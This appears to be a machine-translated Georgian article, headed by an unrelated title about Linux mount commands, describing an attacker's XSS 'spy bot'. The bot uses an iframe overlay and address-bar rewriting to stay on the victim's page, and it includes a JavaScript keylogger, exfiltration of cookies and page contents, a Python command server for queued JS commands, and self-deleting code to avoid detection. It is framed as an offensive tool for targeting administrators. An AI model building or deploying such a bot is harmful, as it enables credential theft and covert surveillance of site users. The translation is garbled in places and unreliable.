Mount მიუთითებს ფაილური სისტემის ტიპზე. mount და umount ბრძანებები

ყველამ დიდი ხანია იცის, რომ ყველაზე ხშირად, XSS-ის გამოყენებით, თავდამსხმელი ცდილობს მსხვერპლს გაუგზავნოს Cookie, წაიკითხოს CSRF ტოკენები, განახორციელოს ფიშინგ შეტევა (ყალბი შესვლის ფორმის შექმნით), შეასრულოს გარკვეული ქმედება მომხმარებლის სახელით და სხვა მსგავსი შეტევები (შესაძლოა ეს არ არის ყველა შესაძლებლობა, მაგრამ ეს ყველა ყველაზე პოპულარულია, რომელიც ჩემთვის ცნობილია ამ მომენტში).

ამ მეთოდის მიზანია მომხმარებლის სახელით გვერდების მონიტორინგი, რომლებზეც ის ნავიგაციას უწევს თავდასხმულ საიტზე, ასევე მისი კლავიშების დაკვრა (ასევე შეგიძლიათ გამოიყენოთ მაუსის მოძრაობები და დაწკაპუნებები, მაგრამ ჩემთვის ეს ზედმეტი იქნება, განსაკუთრებით არ გამოდგება ინფორმაცია, უმეტეს შემთხვევაში აუცილებლად) .
ახლა რაც შეეხება მაქსიმალურ სარგებელს - მე მჯერა, რომ ალგორითმი ასეთი იქნება:

• ქუქიების წაკითხვა და გაგზავნა;
• წაიკითხეთ და გაგზავნეთ დანარჩენი ინფორმაცია (IP მისამართი, დაინსტალირებული დანამატები, ბრაუზერის ვერსია და ტიპი, ფლეშ მხარდაჭერა, silverlight მხარდაჭერა და ა.შ.) [არასავალდებულო]
• მიიღეთ ინფორმაცია შიდა ქსელის შესახებ, შეაღწიეთ როუტერში [სურვილისამებრ]
• წაიკითხეთ და გაგზავნეთ სხვადასხვა ნიშნები [სურვილისამებრ];
• ფიშინგის განხორციელება [სურვილისამებრ];
• ჩვენ ვაკეთებთ რაღაცას "მომხმარებლის ხელით" [სურვილისამებრ];
• ჩვენ ვაგრძელებთ მის ჯაშუშობას და ინფორმაციის მიღებას მანამ, სანამ ის არ დახურავს ჩანართს ან არ დატოვებს საიტს;

ყველა სურვილისამებრ სიის ელემენტი IMHO უნდა შესრულდეს სიტუაციიდან და კონკრეტული პრიორიტეტებიდან გამომდინარე იმ მიზნებისთვის, რომლებიც უნდა მიიღწევა XSS-ის გამოყენებით, მათ შეუძლიათ ზოგჯერ ხელი შეუშალონ ერთმანეთს (თუ თქვენ ცდილობთ მათ შერწყმას, უფრო სწორად შეასრულოთ ერთმანეთის მიყოლებით) და გაზრდის XSS ოპერაციის წარუმატებლობის ალბათობას.
მაგრამ პირველი და ბოლო პუნქტები ყოველთვის უნდა შესრულდეს, ნებისმიერ შემთხვევაში, სინამდვილეში, სტატიის ძირითადი ნაწილი იქნება ამ სიიდან ბოლო პუნქტის შესახებ.

მიზანს ვუახლოვდებით.

დავიწყებ შორიდან: JavaScript-ის საშუალებით შესაძლებელია მისამართის ზოლში გზის შეცვლა გვერდის გადატვირთვის გარეშე. მაგალითად, თუ მომხმარებელმა ჩატვირთა გვერდი

შემდეგ მისამართების ზოლში შინაარსი გახდება შემდეგი (გვერდის გადატვირთვის გარეშე):

http://site.com/new-url/

ეს ფუნქცია, სხვათა შორის, ზოგჯერ საკმაოდ სასარგებლოა, როდესაც საჭიროა მომხმარებლებისგან (ან მომხმარებელთა უფრო ყურადღებიანი კატეგორიის - ადმინისტრატორებისგან) დამალვა URL-ის სწრაფად გაწმენდით, მას შემდეგ რაც ისინი დააწკაპუნებენ ბმულზე, რომელიც შეიცავს Reflected XSS, რათა მოგვიანებით, გვერდის ჩატვირთვის შემდეგ, მისამართების ზოლში ძებნის შემდეგ, ვერაფერი ვიპოვე.

http : //site.com/search.php?q=123 დოკუმენტი. სხეული. innerHTML += "გატეხილი" ;

http://site.com/search.php?q=123 ფანჯარა. ისტორია. pushState ("", "" , "/"); დოკუმენტი. სხეული. innerHTML += "გატეხილი" ;

ჩვენ მას ამ შესაძლებლობას წავართმევთ.

მაგრამ ამ ტექნიკას კიდევ უფრო საინტერესო და ძლიერი აპლიკაციები აქვს. მომხმარებლის საიტზე ყოფნის სიმულაციას მოვახდენთ ლინკზე დაჭერის შემდეგ, ფაქტობრივად, ის მუდმივად დარჩება ერთ გვერდზე და ამ დროს იმუშავებს მესამე მხარის სკრიპტი, რომელიც ამოიღებს და უგზავნის ინფორმაციას თავდამსხმელს. ამრიგად, XSS იმუშავებს მანამ, სანამ მომხმარებელი დააწკაპუნებს ამ დომენის ბმულზე .

ჩვენ ვნიშნავთ იდეას.

მუშაობის ზოგადი პრინციპი ასეთია: როდესაც მომხმარებელი შედის გვერდზე XSS-ით, სკრიპტი ქმნის iframe-ს იმავე მისამართით, როგორც გვერდი და „ამაგრებს“ მას წინა პლანზე, მომხმარებელს ექმნება შთაბეჭდილება, რომ გვერდი ნორმალურად იტვირთება, რადგან iframe შეიძლება ნახოთ მხოლოდ კოდის გვერდებზე.

და დამხმარე სკრიპტი აკონტროლებს ჯაშუშური ბოტის ლოგიკას, ანუ ის აკონტროლებს, როდის იცვლება ფრეიმში მისამართი, რათა შეცვალოს იგი მისამართების ზოლში, მაგრამ თუ ახლად შეცვლილ ჩარჩოს მისამართს აქვს სხვა დომენი, მაშინ შეგიძლიათ გახსნათ ის ახალ ჩანართში, ან მოგიწევთ გვერდის გადატვირთვა ისე, რომ არ დაიწვათ.
ამგვარად, იმისთვის, რომ XSS ამ მომენტში შეწყვიტოს შესრულება, მომხმარებელმა ან ხელით უნდა განაახლოს გვერდი (თუ XSS არის ასახული და გადაცემულია POST მეთოდით, სხვა შემთხვევაში განახლება არ დაეხმარება და სხვათა შორის, ზოგიერთი ახლა ბრაუზერებს შეუძლიათ ხელახლა გაგზავნონ POST მოთხოვნა გვერდის განახლებისას) ან დახურონ ჩანართი ან გადაერთონ სხვა დომენზე (თუმცა ამ შემთხვევაში თქვენ მაინც შეგიძლიათ თავიდან აიცილოთ კონტროლის დაკარგვა).

თუ ის მიდის თავდასხმის დომენის ქვედომენში, მაშინ ეს თავდამსხმელის არჩევანია, ანუ XSS იმუშავებს, მაგრამ არის მცირე შანსი, რომ მომხმარებელმა აღმოაჩინოს შეუსაბამობა მისამართებს შორის. მე ვფიქრობ, რომ აქ არსებული სიტუაციიდან გამომდინარე, მაგალითად, თუ google.ru დომენს თავს დაესხნენ, მომხმარებელი გადაერთო Google-ის ღრუბლოვან ფაილურ სერვისზე, რომელიც ჩვეულებრივ დევს drive.google.ru ქვედომენში, მაშინ ალბათობაა, რომ ის შეამჩნევს მისამართების ზოლის დათვალიერებისას საკმაოდ მაღალია, თუ ხშირად სარგებლობდა ამ სერვისით. წინააღმდეგ შემთხვევაში, თქვენ ასევე შეგიძლიათ გარისკოთ. მაგრამ უნდა გავითვალისწინოთ, რომ ჩვენ ვეღარ შევძლებთ მისი მონაცემების წაკითხვას ფრეიმიდან ქვედომენით, რადგან Cross Origin Policy ამას არ დაუშვებს. მაგრამ ჩვენ შეგვიძლია უსაფრთხოდ ვიმოგზაუროთ მთავარ დომენზე მისი სახელით ფარული რეჟიმში (დაწვრილებით ამის შესახებ ქვემოთ).

მხოლოდ ამ მეთოდს აქვს შეზღუდვები, კერძოდ, ის არ იმუშავებს, თუ საიტის ვებ სერვერის პასუხები შეიცავს X-Frame-Options სათაურს მნიშვნელობით DENY. მაგრამ პირადად მე შემხვედრია ასეთი საიტები ფაქტიურად რამდენჯერმე; ახლა მათ ნახევარსაც კი არ აქვს SAMEORIGIN კომპლექტი, რომ აღარაფერი ვთქვათ სრულ შეზღუდვაზე. უარყო.

მოდით გავაანალიზოთ იდეა.

ახლა ბევრს ალბათ ახსოვს ისეთი მშვენიერი რამ, როგორიცაა BeEF, რომელსაც ასევე აქვს ბევრი საინტერესო რამ. სხვათა შორის, ასევე არის ვარიანტი, რომ აიძულოთ მომხმარებელი გადამისამართდეს ჩარჩოში, მაგრამ მისამართის ზოლში მისამართი არ იცვლება, რამაც შეიძლება სწრაფად დაწვას მაგიდა და ეს ვარიანტი ოდნავ განსხვავებულ მიზნებს ემსახურება.
ზოგადად, BeEF-ს აქვს თითქმის ყველაფერი, რაც გჭირდებათ და კიდევ ბევრი დამატებითი ფუნქცია, მაგრამ პირადად მე მინდოდა დამატებითი ფუნქციონირება, კერძოდ:

• გვერდების კოდის მონიტორინგის შესაძლებლობა, რომლებიც ხელმისაწვდომია თავდასხმის მქონე მომხმარებლისთვის რეალურ დროში;
• ყველაფრის ნახვის შესაძლებლობა, რასაც ის აკრეფს ამ საიტზე (ლოგინიდან და პაროლიდან, ცხელი კლავიშებით და შეტყობინებებით), ანუ კლავიაჟერი JS-ში;
• თქვენს ბოტს JS ბრძანებების მიცემის შესაძლებლობა რეალურ დროში, მიღებული გვერდების კოდის ნახვის შემდეგ;
• ბრძანებების ლოკალურად დატოვების შესაძლებლობა ბოტს, რათა მან მოგვიანებით შეძლოს „აიღოს ისინი“ და შეასრულოს ისინი ჩვენი უშუალო მონაწილეობის გარეშე;
• ბოტის დაწვის ნაკლები ალბათობა, ან ბოტის უნარი „დამალული“ თვალებისგან;

როგორც ზემოთ აღინიშნა, მე გადავწყვიტე ვისესხები ბრძანების შესრულების რიგის მაგარი იდეა BeEF-ისგან. მაგალითად, ჩვენ გავაანალიზეთ გვერდები, რომლებიც ბოტმა ჩამოაგდო, როდესაც პრივილეგირებული მომხმარებელი შედიოდა მის მართვის პანელზე შენახული XSS-ით, ჩვენ ვტოვებთ ბრძანებებს ბოტისთვის - JS კოდი, ისევე როგორც შემდეგ ჯერზე, როდესაც მომხმარებელი შემოდის, დააჭირეთ ამ ღილაკს, ჩაწერეთ ეს მნიშვნელობა. აქ და ა.შ., შემდეგ ჯერზე, როდესაც ეს მომხმარებელი ეწვევა გვერდს, ბოტი კითხულობს ბრძანებებს და ასრულებს მათ და ჩვენ არ უნდა ვიყოთ მის სათავეში ყველაფრისთვის - ეს ძალიან მოსახერხებელია.

ძირითადად, ასეთი ბოტი, რა თქმა უნდა, განკუთვნილია ზოგიერთი საიტის მაღალი სტატუსის მქონე მომხმარებლებისთვის, რომლებსაც აქვთ დამატებითი „ბერკეტები“ კონტენტის მართვისთვის, სხვა მომხმარებლებისთვის და ა.შ. ფუნქციონირების მოთხოვნებიდან ირკვევა, რომ ჩვენ არ შეგვიძლია სერვერის ნაწილის გარეშე.

განვახორციელოთ იდეა.

პრინციპში, შეგიძლიათ გამოტოვოთ სტატიის ეს ნაწილი, რადგან ის უბრალოდ აღწერს სასურველი ბოტის დანერგვის პროცესს და მის ზოგიერთ დეტალს, იმ შემთხვევაში, თუ ვინმეს სურს მისი გადაკეთება ან საკუთარი თავის მორგება. მიუხედავად იმისა, რომ ბოტს ექნება ცვლადები კოდის დასაწყისში, რომლის მეშვეობითაც შეგიძლიათ გარკვეული პარამეტრების დაყენება.
პირველი, ბოტის მოქმედებების ალგორითმი ჩატვირთვის მომენტიდან:

1) სათაურის არსებობის შემოწმება X-Frame-ოფციები:უარი(თუ არის ერთი, მაშინ ვახვევთ სათევზაო ჯოხებს);
2) ჩარჩოს ჩასმა და ბოტის ყველა კომპონენტის დაყენება;
3) სკრიპტის და HTML კოდის ყველა კვალის ამოღება;
4) სერვერის ნაწილთან კონტაქტის დამყარება და მონაცემთა გაგზავნის დაწყება, პასუხებზე რეაგირება (ბრძანებების მიღება სერვერიდან);

პირველი პუნქტი ბოლომდე არ შესრულებულა, ანუ ბოტი ამოწმებს მხოლოდ პირველ გვერდს და root სათაურს. ფაქტია, რომ ჩვეულებრივ ამ სათაურებს ვებ სერვერი ათავსებს ერთდროულად ყველა გვერდისთვის და ძალიან იშვიათია, რომ ერთი გვერდისთვის ყველაფერი კეთდება „ხელით“. და ეს სათაური თავისთავად საკმაოდ იშვიათია. ისე, მეორეზე და მესამეზე ბევრი არაფერია სათქმელი, ყველაფერი ქვემოთ იქნება.

არის შედარებით მნიშვნელოვანი მომენტი, რომ სანამ კოდში ბოტის სკრიპტის კოდს დაამატებთ, დაუყოვნებლივ უნდა მოიცილოთ XSS ნიშნები მისამართების ზოლში (JS კოდიდან), რადგან ეს ამცირებს აღმოჩენის შანსებს და, რაც მთავარია, ხელს უშლის რეკურსიას. ეს ხდება ფრეიმში მისამართის დამატებისას იმავე XSS კოდით, რაც თავის მხრივ ქმნის სხვა ჩარჩოს თავისთავად და ა.შ.

მაგრამ ყოველი შემთხვევისთვის, ბოტის კოდი ახორციელებს უნარს, აღმოაჩინოს ასეთი ჩარჩოს რეკურსია და თავიდან აიცილოს ის პირველივე მცდელობისას, რომ დაამატოთ ჩარჩო უკვე შექმნილზე, მაგრამ უმჯობესია არ დაეყრდნოთ მხოლოდ მას, არამედ დამატებით ამოიღოთ კოდი. ბოტის კოდის ჩატვირთვამდე. მიუხედავად იმისა, რომ ჯერ არ შემხვედრია რაიმე პრობლემა.

ჩარჩოს განახლების შემოწმების ფუნქცია. მე ვცადე რამდენიმე გზა ამ პრობლემის ეკონომიურად გადასაჭრელად ღონისძიების დამმუშავებლების დაკიდებით შინაარსის ფანჯარაან შინაარსიდოკუმენტი, მაგრამ არაფერი გამომდიოდა, ამიტომ მომიწია დამეწერა ფუნქცია, რომელიც შეამოწმებდა ფრეიმს მისამართს და შეადარებდა ადრე შენახულს და ამის საფუძველზე გადამეწყვიტა, მიმდინარეობს თუ არა ფრეიმის განახლება (მისამართი შეიცვალა თუ არა) და შემდეგ თავის თავს რეკურსიულად დაუძახეთ.

ასეთი შემოწმების სიხშირე წამში კონტროლდება ცვლადით დაგვიანებით, რომელიც ჩამოთვლილია ბოტის კოდის ფაილის დასაწყისში. მაგრამ მოგვიანებით, მას შემდეგ რაც უკვე დავწერე, ვიპოვე უფრო ეფექტური გამოსავალი - გამოიყენეთ მარტივი გამოსავალი და ჩამოკიდეთ ჩატვირთვაჩარჩოზე, ამიტომ დავტოვე ეს ფუნქცია, მაგრამ კომენტარი გავაკეთე, თუ მოგვიანებით უფრო მოთხოვნადი აღმოჩნდება.

გვერდის HTML კოდის გაგზავნა.

სქემა აქ საკმაოდ მარტივია - ყოველი კადრის გადატვირთვის შემდეგ (პირველი ჩატვირთვის ჩათვლით), ბოტი სერვერს უგზავნის გვერდის მთელ HTML კოდს მის ამჟამინდელ მისამართთან ერთად, რათა მოგვიანებით გაარჩიოთ, ეკუთვნის თუ არა კოდი სასურველს. გვერდები.

სერვერი ახორციელებს გვერდების შენახვის ლოგიკას - სერვერი ქმნის საქაღალდეს თითოეული დომენისთვის ამ დომენის სახელით და იქ ინახავს ყველა მონაცემს. გვერდის კოდები ინახება და მუდმივად განახლდება უახლეს ვერსიებზე, მაგრამ ყოველ ახალ დღეს იქმნება გვერდის ახალი ასლი, რათა საჭიროების შემთხვევაში აკონტროლოთ ვერსიის ისტორია. სწორედ ამისთვის /news.php 1 სექტემბერს განახლდება შტატი, ხოლო 2 სექტემბერს შეიქმნება მისი ასლი, მხოლოდ იმ დღისთვის შესაბამისი და ასე ისევ ყოველდღე (თუ მომხმარებელი ყოველ დღე ეწვევა ამ გვერდს). გვერდის სახელი შედგება ამ გვერდის თარიღისა და ბილიკისგან, საიტის ფესვთან შედარებით (ანუ დომენის გარეშე).

Keylogger JavaScript-ში.

იდეა უკვე განხორციელებული იყო ზოგიერთი ენთუზიასტის მიერ, მაგრამ მათი ნამუშევარი არ იყო ჩემთვის შესაფერისი, თუნდაც იმიტომ, რომ მათი უმეტესობა საკმაოდ მარტივი იყო, ანუ მათ აღმოაჩინეს დაჭერილი გასაღების კოდი და სტრიქონი.CharCode-დანითარგმნა სიმბოლოებად. მაგრამ ამ მეთოდს აქვს მრავალი უარყოფითი მხარე - საკონტროლო კლავიშები, როგორიცაა shift, control, space და ა. უნდა განხორციელდეს პროგრამულად და ასევე, ყველა დაჭერილი ღილაკი გამოსახულია ზედა ასოებით, რაც ასევე შეიძლება პროგრამულად გამოსწორდეს.

შედეგი იყო keylogger, რომელმაც სწორად აღმოაჩინა რიცხვების, ასოების და ძირითადი სიმბოლოების ყველა კლავიატურა, მუშაობდა ორივე განლაგებაზე, რეაგირებდა ცვლაზე და იწერდა ყველა ძირითად სპეციალურ კლავიშს. მართალია, ზოგიერთი სიმბოლო (ციფრული მწკრივის ზედა ნაწილში, რომლებიც იბეჭდება ცვლა და რიცხვი დაჭერისას) შეიძლება განსხვავდებოდეს ზოგიერთ აპარატზე, რადგან ისინი განხორციელდა ძირითადი სტანდარტის მიხედვით, რომელსაც ზოგიერთი კომპანია ცვლის.
დაჭერილი სიმბოლოების თითოეული ნაწილი ინახება კლიენტის მიერ, სანამ ტექსტის ელემენტი არ დაკარგავს ფოკუსს. შემდეგ, ეს ნაწილი იგზავნება სერვერზე, სადაც ის ინახება ტექსტურ ფაილში, რომელიც ასევე შეიქმნება ყოველდღე ახალი ასლით, რათა არ გაიზარდოს დიდ ზომებზე და სწრაფად იპოვოთ ის, რასაც მომხმარებელი წერდა. იმ დროისთვის.
თავად გასაღებების გარდა, ინფორმაცია იმ ელემენტის შესახებ, რომელშიც ტექსტი იყო აკრეფილი, იგზავნება სერვერზე თითოეული ნაწილით (ანუ იყო თუ არა , [ ან ზოგიერთი როდესაც მომხმარებელი იყენებდა ცხელ კლავიშებს), ელემენტის სახელის გარდა, მისი ძირითადი მონაცემები (იდენტიფიკატორი, სახელი, კლასი - თუ არსებობს) იგზავნება, რათა შემდეგ ადვილად მოიძებნოს კოდში. და რა თქმა უნდა, ჩაწერილია იმ გვერდის მისამართი, რომელზედაც მოხდა დაქირავება და ამ დაქირავების სავარაუდო დრო. ზოგადად, საკმარისი ინფორმაცია მომხმარებლის მიერ კლავიატურაზე დაჭერის შესახებ იგზავნება შემდგომი ანალიზისთვის.

უბრძანეთ თქვენს ბოტს.

ეს პროცესი შეიძლება განხორციელდეს თავდამსხმელის მიერ ან იმ მხარეს, სადაც ბოტი იმუშავებს სერვერის მხარეს ან თუნდაც დისტანციურად. სერვერის სკრიპტის გაშვების შემდეგ იწყება თვითნაწერი მინიატურული ვებ სერვერი, რომელიც ემსახურება ბოტისა და მისი კონტროლერის მოთხოვნებს, რომელიც მუშაობს ვებ ინტერფეისის საშუალებით. ანუ გაშვების შემდეგ ვებ სერვერი გასცემს ლინკს, რომელზე გადასვლით შეგიძლიათ დაიწყოთ ბოტისთვის ბრძანებების მიცემა.

ამ მართვის პანელის შესახებ. უპირველეს ყოვლისა, აუცილებელი იყო მისი პაროლით შეზღუდვა (გზა და რამდენიმე ადამიანმა იცოდა ამა თუ იმ პორტზე გაშვებული სერვისის შესახებ ან იმ მისამართის შესახებ, სადაც უნდა წავიდნენ ამ სერვისით გამოსაყენებლად), რათა პირველი შესვლისას სერვერი ითხოვს პაროლს, რომელიც მოწოდებულია მისამართების ზოლში (მაგალითი იქნება მოწოდებული), ორიგინალური პაროლი ინახება პაროლი.txt, რომელიც შეიძლება შეიცვალოს. პირველი შესვლის შემდეგ, ვებ სერვერი ბრაუზერს დაავალებს შეინახოს პაროლი ქუქი-ფაილში, ასე რომ თქვენ აღარ დაგჭირდებათ ამაზე ფიქრი.

თავად გვერდზე, ბოტზე ბრძანებების გაგზავნისთვის, ასევე არის ინფორმაცია ბოტის მდგომარეობის შესახებ - ამჟამად არის ის ონლაინ თუ ოფლაინ, და რამდენიმე პარამეტრი, რომელთაგან პირველი არის ჰოსტი, ანუ IP. საიტის მისამართი ან დომენი, რომელზეც ბრძანებები გაიგზავნება ბოტზე. ეს შექმნილია იმ შემთხვევაში, თუ რამდენიმე საიტი შეიცავს ამ ბოტს, რათა მათი იდენტიფიცირება მოხდეს. სერვერზე, ასევე ამ შემთხვევისთვის, ყველა მონაცემი იყოფა საქაღალდეებად დომენის სახელებით.
შემდეგი არის ფანჯარა, სადაც შეგიძლიათ დაწეროთ ბრძანებები ბოტზე JS-ში და ოფცია, რომელიც ადგენს სად შესრულდება ეს JS კოდი, მთავარ ფანჯარაში, სადაც ბოტი ზის ან ჩარჩოში - ეს კეთდება მოხერხებულობისთვის, ყოველი შემთხვევისთვის. .

თუ ბოტი არ არის ონლაინ, მაშინ სერვერი უბრალოდ ინახავს ბრძანებებს და მოგვიანებით, როდესაც ბოტი ონლაინში გადადის, ანუ მომხმარებელი კვლავ ეწვია მასთან ერთად გვერდს ან მიჰყვება თავდამსხმელის ბმულს, ეს ბრძანებები შესრულდება.
ეს ძალიან მოსახერხებელია, თუ პირველი დაზვერვის დროს, ბოტმა ჩამოაგდო მომხმარებლის მიერ მონახულებული ყველა გვერდი (მაგალითად, პირადი ანგარიში), რომლის კოდის შესწავლის შემდეგ ჩვენ დავწერეთ ბრძანებები JS-ში, რათა შემდეგ ბოტი დააჭიროს ჩვენთვის საჭირო ბმულები, შეიტანეთ საჭირო მონაცემები, გამოაქვეყნეთ საჭირო სურათები და ა.შ., რაც დაგეხმარებათ თქვენი მიზნის მიღწევაში.

ან შეგიძლიათ პირდაპირ რეალურ დროში, სწრაფად დაათვალიეროთ გვერდების შიგთავსი კოდის საშუალებით და მისცეთ ბრძანებები ბოტს, რათა მან გაგზავნოს სხვა გვერდების კოდი, გადავიდეს სხვა მისამართზე და ა.შ. მომხმარებლის ეკრანი“, რომელიც მშვიდად ათვალიერებს საიტს ჩარჩოში.

თქვენი მოხერხებულობისთვის, თქვენ შეგიძლიათ ჩამოაყალიბოთ ყველაზე ხშირად გამოყენებული ინსტრუქციები მთელ ფუნქციებში JS-ში, რომლებიც შემდეგ შეიტანება ბოტის წყაროს ფაილში ( xsb.js, მეტი ფაილის სტრუქტურის შესახებ ქვემოთ) და გამოიყენეთ. ან გამოიყენეთ ის ფუნქციები, რომლებიც შედის ბოტში, თუმცა არის მხოლოდ საფუძვლები და არაფერი ახალი არ არის, მაგრამ მაგალითად, შეგიძლიათ გამოიყენოთ გვერდის კოდის გაგზავნის ფუნქცია ნებისმიერ დროს და არა კადრის გადატვირთვისას. თქვენ შეგიძლიათ დაწეროთ ფუნქცია, რომელიც გახსნის მასზე გადაცემულ ბმულებს ახალ ჩარჩოებში ფონზე, რათა მომხმარებლის სახელით იხილოთ ერთდროულად რამდენიმე გვერდის შინაარსი (და იმოქმედოთ ამ კონტენტით მისი ვირტუალური ხელებით).

საკუთარი კოდის წაშლა.

ისე, ბოლო ფუნქცია დანერგილია საკმაოდ მარტივად (მისი გამორთვა შესაძლებელია ფაილში სასურველი ცვლადის დაყენებით, ისინი კომენტირებულია). სკრიპტი, ყველა მოვლენის დამმუშავებლის დაყენებისა და ჩამოკიდების შემდეგ, ყველა ცვლადისა და ფუნქციის შექმნის შემდეგ, წაიშლება თავად

ყოველივე ამის შემდეგ, ყველა მონაცემი უკვე დატვირთულია RAM-ში ბრაუზერის საშუალებით, ასე რომ, სანერვიულო არაფერია, მაგრამ ეს თეორიულად არის, შესაძლოა მოგვიანებით იყოს პრობლემები, რომლებიც არ გავითვალისწინე, ამიტომ შევქმენი ცვლადი რომელიც შეიძლება გამოყენებულ იქნას ამ ფუნქციის გამორთვის საჭიროებისამებრ.

ყველა სკრიპტის წაშლის შემდეგ, უკიდურესად რთული იქნება XSS-ის შემჩნევა, რადგან ჩარჩოს არსებობა ამას ირიბად არ მიანიშნებს და თავად კოდი მხოლოდ ბრაუზერის ქსელის ტრაფიკის ისტორიის ჟურნალებშია შესაძლებელი (რომლებიც ნაგულისხმევად არ ინახება. ბევრ ბრაუზერში, თუ დეველოპერის პანელი არ არის გახსნილი).

სერვერის ნაწილი.

ბოტის გაშვების უფრო მარტივი და მოსახერხებელი გზით, გადაწყდა, რომ ჩაგვეწერა ჩვენი საკუთარი პატარა ვებ სერვერი სოკეტებზე, რომელიც მოემსახურება ბოტს, უზრუნველყოფს გაგზავნილი მონაცემების მიღებისა და განთავსების ყველა ოპერაციას, გადასცემს შეტყობინებებს თავდამსხმელსა და ბოტს შორის. და შექმენით ვებ ინტერფეისი თავდამსხმელისთვის ბრძანებისთვის.
სერვერი დაიწერა პითონში, ვცდილობდი გამომეყენებინა მხოლოდ სტანდარტული ბიბლიოთეკები ისე, რომ გაშვებამდე არაფრის დაყენება არ დამჭირვებია. ასევე, სერვერი თავად არედაქტირებს ზოგიერთ მონაცემს სკრიპტებში, ანუ ბოტის JS სკრიპტში არ არის საჭირო საბრძანებელი სერვერის მისამართის დაყენება, თავად ვებ სერვერი დააყენებს საჭიროს იქ გაშვებისთანავე. სერვერის კონფიგურაციაში არის მხოლოდ ერთი პარამეტრი - პორტი, რომელზეც ის დაიწყება (ნაგულისხმევი არის 8000).
დაწყების შემდეგ, სერვერი მოგაწვდით ყველა საჭირო მონაცემს - ბმულს JS სკრიპტზე, რომელიც უნდა გადაიტანოთ, ბრძანების პანელის ბმულს, უფრო სწორად, გარე და ლოკალურ მისამართებს, მოხერხებულობისთვის.

ბოტთან მუშაობის სქემა.

ჩვენ გავუშვით სერვერი რაიმე გამოუცხადებელ პორტზე და შეგიძლიათ გამოაგზავნოთ ბმული ბოტის სკრიპტით, შემდეგ ყველა, ვინც მასზე დააწკაპუნებს, გამოგიგზავნით მონაცემებს, რომლებსაც სერვერი შეინახავს დღის ნებისმიერ დროს. მაშინ თქვენ უბრალოდ შეგიძლიათ ნახოთ ისინი, თუ საჭიროა გუნდის ბოტის დატოვება და საკუთარი საქმის კეთების გაგრძელება.

ფაილის სტრუქტურა.

საქაღალდე შეიცავს შემდეგ ფაილებს:

• xsb.py – მთავარი ფაილი, რომელიც ახორციელებს სერვერის ნაწილს; იმისთვის, რომ ბოტმა იმუშაოს, გაუშვით და შემდეგ უბრალოდ გამოიყენეთ მის მიერ შეთავაზებული ბმული;
• xsb.js – აქ ინახება ბოტის JS კოდი, რომლის ბმული მოწოდებულია სერვერის მიერ; კონფიგურაციის ცვლადები დეკლარირებულია მის დასაწყისში, რომელიც შეიძლება შეიცვალოს თქვენი შეხედულებისამებრ (ზოგიერთი, კერძოდ, ჰოსტი და პორტი, სერვერი მოგვიანებით დაყენდება, თქვენ არ უნდა ინერვიულოთ);
• panel.html – აქედან სერვერი იღებს ბოტის მართვის პანელის კოდს, შეგიძლიათ თქვენი შეხედულებისამებრ დაარეგულიროთ ინტერფეისი;
• password.txt – აქ ინახება პანელის პაროლი, რომელიც შეიძლება შეიცვალოს;
• savedData არის დირექტორია, რომელშიც შეიქმნება საქაღალდეები ვებსაიტების დომენებით, რომელშიც შეინახება ყველა ინფორმაცია.

კიდევ ერთხელ აღვნიშნავ, რომ ფაილში xsb.jsშეგიძლიათ დაამატოთ თქვენი საკუთარი ფუნქციები, რომელთა დარეკვა შეგიძლიათ პანელის მეშვეობით, კოდის უზარმაზარი ნაწილის დაწერის გარეშე;

შედეგების მოკლე ანალიზი.

მას შემდეგ, რაც დავწერე ჩემი გამოგონილი გზა მომხმარებლის XSS-ის გვერდზე შენარჩუნების ჩარჩოების საშუალებით (კარგი, როგორც გამოგონილი - მე პირადად აღმოვაჩინე ეს ჩემთვის, სავსებით შესაძლებელია, რომ ვინმემ "გამოიგონა" ეს იგივე ტექნიკა თავისთვის ან ის უკვე სადღაც არის საზოგადოება გაბრწყინდა, რადგან ახლა საკმაოდ რთულია რაიმე ჭეშმარიტად ახლის შემუშავება და, როგორც წესი, გარკვეული პერიოდის შემდეგ აღმოაჩენ, რომ "ეს უკვე იყო The Simpsons-ში") დავიწყე BeEF-ში უფრო დეტალურად შესწავლა და მისი ვიკის წაკითხვა. შემდეგ აღმოვაჩინე, რომ იქ სხვა ტექნიკა იყო დანერგილი იმავე მიზნის მისაღწევად - მომხმარებლის დროის გახანგრძლივება გვერდზე შესრულებადი XSS-ით (რომელსაც მათ ეძახდნენ კაცი ბრაუზერში). და ეს განხორციელდა ასე: თავდაპირველ გვერდზე ყველა ბმული შეიცვალა ისე, რომ რომელიმე მათგანზე დაწკაპუნებისას სკრიპტმა არ გადატვირთა გვერდი, არამედ Ajax-ის მეშვეობით გაგზავნა მოთხოვნა სერვერზე და ჩასვა მონაცემები. პასუხში მიღებული, ანუ შეიძლება ითქვას ხელოვნურად განახლებული, რაც ასევე თითქმის არ განსხვავდებოდა ჩვეულებრივი გამაგრილებელისგან.

ამიტომ, მე არ ვიყავი პირველი, ვინც მოახერხა ამ იდეის განხორციელება (თუნდაც მეთოდები განსხვავებული აღმოჩნდეს). მაგრამ ორივე მეთოდს აქვს თავისი ნაკლი:

ჩატვირთვის მეთოდი via არ მუშაობს, თუ პასუხში არის სათაური X-Frame-ოფციები:უარი, მაგრამ სხვა შემთხვევაში ის მუშაობს როგორც ჩვეულებრივი ბრაუზერის ფანჯარა;

ajax მეთოდი ყოველთვის მუშაობს, თუ ბრაუზერი მხარს უჭერს მას (ახლა მას მხარს უჭერს ყველა ძირითადი ბრაუზერი), მაგრამ ახალი Web 2.0 სტანდარტით, უფრო და უფრო მეტი გადასვლა ხდება ნებისმიერი ელემენტის მორგებული მოვლენებით JS-ის საშუალებით. ერთ დღეს მივედი Google AdWords-ში და გადავწყვიტე მენახა, როგორ ურთიერთობდნენ იქ მათი HTML და JS, რადგან ჩემი ყველა ობობა უკიდურესად ცუდად ქმნიდა ამ სერვისის უკანა რუკას. და მთელი საღამო ჩუმად ვნერვიულობდი იმაზე, თუ რამდენად უჩვეულო იყო იქ ყველაფერი, როცა ტექსტის ელემენტები იყო ღილაკები, გადამრთველები და სლაიდერები და ყველაფერთან ერთად იყო გამოსახული და თითოეულ მათგანს ჰქონდა დაახლოებით 30 დამმუშავებელი სხვადასხვა მოვლენისთვის.

